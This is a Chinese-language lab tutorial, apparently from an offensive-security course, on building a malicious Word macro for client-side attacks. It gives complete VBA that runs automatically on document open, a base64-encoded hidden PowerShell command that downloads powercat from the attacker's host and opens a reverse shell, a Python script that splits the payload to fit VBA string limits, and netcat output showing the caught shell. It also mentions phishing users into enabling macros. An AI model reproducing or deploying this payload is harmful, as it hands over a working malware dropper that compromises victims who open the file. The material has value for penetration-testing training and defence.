采用宏的方式对client-side攻击是一种非常老的攻击方式,其目的是将宏嵌入到Word或Excle中,当用户打开嵌入宏的文档时可反弹shell。自Office 2016开始,Microsoft就默认关闭了宏的功能,当用户打开嵌入宏的文档时,需要手动确认并打开宏,才能继续使用该功能。尽管如此,采用宏的方式对client-side的攻击仍然非常流行,因为当前仍然存在大量旧版本的Office users,以及通过钓鱼诱导的方式,仍然可以诱导users点击并启用宏。以下是制作恶意宏文档的演示过程和client-side遭受攻击的过程。
首先在Attack user端创建一个空白的Word文档,并保存为doc格式。因为新的docx格式文档无法在不附加包含模板的情况下保存宏。也就是说,docx文件可以运行宏,但不能嵌入或保存宏。
创建doc文档后,在word编辑界面创建宏。
然后在弹出的窗口里给宏任意取个名字。并在Macros in里选择document,并Create创建。
在宏的编辑页面可以看到code编写窗口。在VBA宏中,通常是以Sub为开始,End Sub为结束。
在本次演示中,我们将利用ActiveX对象,它将提供对底层操作系统的命令访问。同时还可以通过Windows Script Host Shell对象使用WScript来实现。
当我们使用CreateObject实例化了一个Windows Script Host Shell对象后,我们就可以调用Wscript.Shell中的Run方法,这样就可以在目标客户端机器上启动应用程序。因此,我们可以在第一个宏中启动PowerShell窗口。
Sub TestMacro()
CreateObject("Wscript.Shell").Run "powershell"
End Sub
但因为Office中的宏不会自动执行,因此我们还需要预定义AutoOpen和Document_Open宏。这样用户在打开Word文档时,就会调用我们的自定义过程并运行我们的代码。因为打开文档的方式可能会不太一样,所以我们将两种情况都涵盖进去。
Sub AutoOpen()
TestMacro
End Sub
Sub Document_Open()
TestMacro
End Sub
Sub TestMacro()
CreateObject("Wscript.Shell").Run "powershell"
End Sub
然后我们再进行保存,并重新打开文档。重新打开文档后,可以开单一条安全警告,表示宏已经被禁用。需要我们点击Enable Content来启用内容。
当我们点击Enable Content后,即可看到PowerShell窗口被弹出来了。
然而,在真实的client-side Attack中,当然不可能只是弹个PowerShell窗口就行了。接下来,我们可以尝试使用PowerShell来下载PowerCat来执行反弹shell。并且使用base64对命令进行编码,以规避特殊字符问题。
IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.204/powercat.ps1');powercat -c 192.168.45.204 -p 4444 -e powershell
同时,我们还需要将PowerShell命令在VBA中声明为字符串。
Sub AutoOpen()
TestMacro
End Sub
Sub Document_Open()
TestMacro
End Sub
Sub TestMacro()
Dim Str As String
CreateObject("Wscript.Shell").Run Str
End Sub
另外,我们需要注意的是,VBA对字符串的限制是255个字符。因此我们的base64编码还需要对PowerShell命令进行拆分,并再将他们连接起来。这里我们先使用kali中的pwsh工具对PowerShell命令进行base64编码。
┌──(root㉿kali)-[/home/kali]
└─# pwsh
PowerShell 7.2.6
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS /home/kali> $Text = 'IEX(New-Object System.Net.WebClient).DownloadString("http://192.168.45.204/powercat.ps1");powercat -c 192.168.45.204 -p 4444 -e powershell'
PS /home/kali> $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
PS /home/kali> $EncodedText =[Convert]::ToBase64String($Bytes)
PS /home/kali> $EncodedText
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMAA0AC8AcABvAHcAZQByAGMAYQB0AC4AcABzADEAIgApADsAcABvAHcAZQByAGMAYQB0ACAALQBjACAAMQA5ADIALgAxADYAOAAuADQANQAuADIAMAA0ACAALQBwACAANAA0ADQANAAgAC0AZQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwA
这里使用python脚本对PowerShell base64编码后的命令进行处理。
#!/usr/bin/python
str = "powershell.exe -nop -w hidden -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMAA0AC8AcABvAHcAZQByAGMAYQB0AC4AcABzADEAIgApADsAcABvAHcAZQByAGMAYQB0ACAALQBjACAAMQA5ADIALgAxADYAOAAuADQANQAuADIAMAA0ACAALQBwACAANAA0ADQANAAgAC0AZQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwA"
n = 50
for i in range(0, len(str), n):
print("Str = Str + " + '"' + str[i:i+n] + '"')
使用python脚本对PowerShell base64编码的命令进行处理后,我们在更新一下我们的宏。
Sub AutoOpen()
TestMacro
End Sub
Sub Document_Open()
TestMacro
End Sub
Sub TestMacro()
Dim Str As String
Str = Str + "powershell.exe -nop -w hidden -e SQBFAFgAKABOAGUAd"
Str = Str + "wAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAA"
Str = Str + "uAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhA"
Str = Str + "GQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADI"
Str = Str + "ALgAxADYAOAAuADQANQAuADIAMAA0AC8AcABvAHcAZQByAGMAY"
Str = Str + "QB0AC4AcABzADEAIgApADsAcABvAHcAZQByAGMAYQB0ACAALQB"
Str = Str + "jACAAMQA5ADIALgAxADYAOAAuADQANQAuADIAMAA0ACAALQBwA"
Str = Str + "CAANAA0ADQANAAgAC0AZQAgAHAAbwB3AGUAcgBzAGgAZQBsAGw"
Str = Str + "A"
CreateObject("Wscript.Shell").Run Str
End Sub
最后我们再保存宏和文档。再kali中建立监听。当用户打开文档,并启用宏时,就可以收到反弹的shell。
[email protected]:~$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.45.204] from (UNKNOWN) [192.168.204.196] 49768
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Users\offsec\Documents>